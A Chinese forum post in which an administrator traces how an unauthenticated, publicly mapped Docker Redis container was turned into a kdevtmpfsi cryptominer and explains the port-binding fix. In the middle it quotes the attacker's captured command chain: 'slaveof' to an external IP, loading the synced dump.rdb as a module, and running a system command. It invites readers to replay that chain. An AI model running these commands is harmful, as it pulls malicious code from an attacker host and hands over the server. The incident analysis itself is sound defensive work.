#干货满满#docker redis 被任意链接 导致被 kdevtmpfsi 挖矿记录
  

Hacking 21062人觉得有帮助

{{ttag.title}}
本帖最后由 Hacking 于 2022-6-14 09:17 编辑



top 看到了 kdevtmpfsi 进程一直在吃 cpu。






最后发现是 docker 的 redis 的容器被挖矿了。


redis 监听的是 0.0.0.0 映射宿主机的 6379 端口。


没有设置密码 被随意链接


我防火墙没有开放 6379 端口 怎么会可以连接呢?


[root@VM_0_2_centos lnmp]# firewall-cmd --list-all
    ...
      ports: 20/tcp 21/tcp 22/tcp 80/tcp 8888/tcp 39000-40000/tcp 12121/tcp 12121/udp 13131/tcp     13131/udp 443/tcp 4000/tcp 4000/udp 8081/tcp 8081/udp 4443/tcp 4443/udp



可以看到 6379端口没有开放




[root@VM_0_2_centos lnmp]# iptables -nL
...
DNAT       tcp  --  anywhere             VM_0_2_centos        tcp dpt:6379 to:172.18.0.2:6379





原因就是这里,将本地的6379映射到容器的6379


它不会经过防火墙的,直接映射的 !


解决
.env 修改配置


REDIS_PORT=6379 改成 REDIS_PORT=127.0.0.1:6379 // 只有本地才可以链接了


docker-compose up --build



当然也可以配置密码 监听主机等方式解决


有点奇怪的是
docker 的 redis 没有装 ssh, 也没有 /root/.ssh 目录的
我 ssh 可是都没开的,他是怎么用我容器挖矿的?带这个问题,我把 redis 容器再次弄成随意链接,想钓出他执行的命令。我让他再进入一次把,看看他是怎么放病毒的。




开始追踪前准备
config set slowlog-log-slower-than 0   //所有命令都会被定义成慢查询
config set slowlog-max-len 10000   //保留1w条记录
config set slowlog-max-len 1000000 //他会不会执行很多命令? 改成保留100w保险些


上钩了#
大概 3-4 小时,就把我容器做矿机了,真快。






这是 redis 执行过的所有命令 (有部分是我的):





#
slowlog格式说明
7    slowlog的id
1585115869   执行的时间戳
15            执行命令的消耗时间 微秒
set            //命令
1            //命令
test        //命令    组合就是set 1 test
127.0.0.1:55968    //客户端 端口
#




我得到了他的执行过命令,然后我重新编译容器,准备复现他的操作。


开始复现
127.0.0.1:6379> slaveof 82.118.17.133 8887   
OK
//此时把他redis数据 同步到受害机  dump.rdb已经是有毒的模块了!
//可惜dump.rdb用rdb看不了,不知道是什么操作,不知道这个dump.rdb的内容


127.0.0.1:6379> MODULE LOAD ./dump.rdb      //加载模块
OK


127.0.0.1:6379> system.d id
""
(1184.54s)
//获得成就:主动当矿机 成就加成:cpu+90% 内存+10% (使用量)


你在你的 redis 执行这三条命令,就可以复现被成为矿机的场景。主动当矿机了




后续修改措施
  • 不要使用弱密码
  • 只开放必须开放的端口
  • 如果可以,最好添加 ip 访问白名单



打赏鼓励作者,期待更多好文!

打赏
15人已打赏

cyq 发表于 2022-6-14 14:32
  
楼主分享的案例很实用,具有典型性,希望有更多这样的干货供我们学习参考,非常感谢!
xxqqv2 发表于 2022-6-14 21:24
  
楼主分享的案例很不错,防火墙 端口映射都需考虑,非常感谢
怪兽君 发表于 2022-6-15 08:42
  
感谢分享,日常学习。。。。。
飞翔的苹果 发表于 2022-6-15 08:54
  
感谢分享,日常学习。。。。。
白鹭先生 发表于 2022-6-15 09:05
  
感谢分享,日常学习。。。。。
guafeng00 发表于 2022-6-15 09:46
  
分享的案例很实用,具有典型性
新手612152 发表于 2022-6-15 15:17
  
感谢分享,日常学习。。。。。
新手899116 发表于 2022-6-15 15:20
  
感谢分享,日常学习。。。。。
糖果星球 发表于 2022-6-15 23:13
  
感谢分享,日常学习。。。。。
发表新帖
热门标签
全部标签>
每日一问
技术盲盒
技术笔记
干货满满
技术咨询
新版本体验
GIF动图学习
产品连连看
功能体验
标准化排查
自助服务平台操作指引
2023技术争霸赛专题
运维工具
通用技术
秒懂零信任
技术晨报
信服课堂视频
用户认证
深信服技术支持平台
安装部署配置
SDP百科
设备维护
社区帮助指南
答题自测
每日一记
玩转零信任
畅聊IT
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
安全攻防
上网策略
测试报告
日志审计
问题分析处理
流量管理
云计算知识
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
资源访问
地址转换
虚拟机
存储
迁移
加速技术
排障笔记本
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选

本版达人

新手68983...

本周分享达人

零和一网络

本周提问达人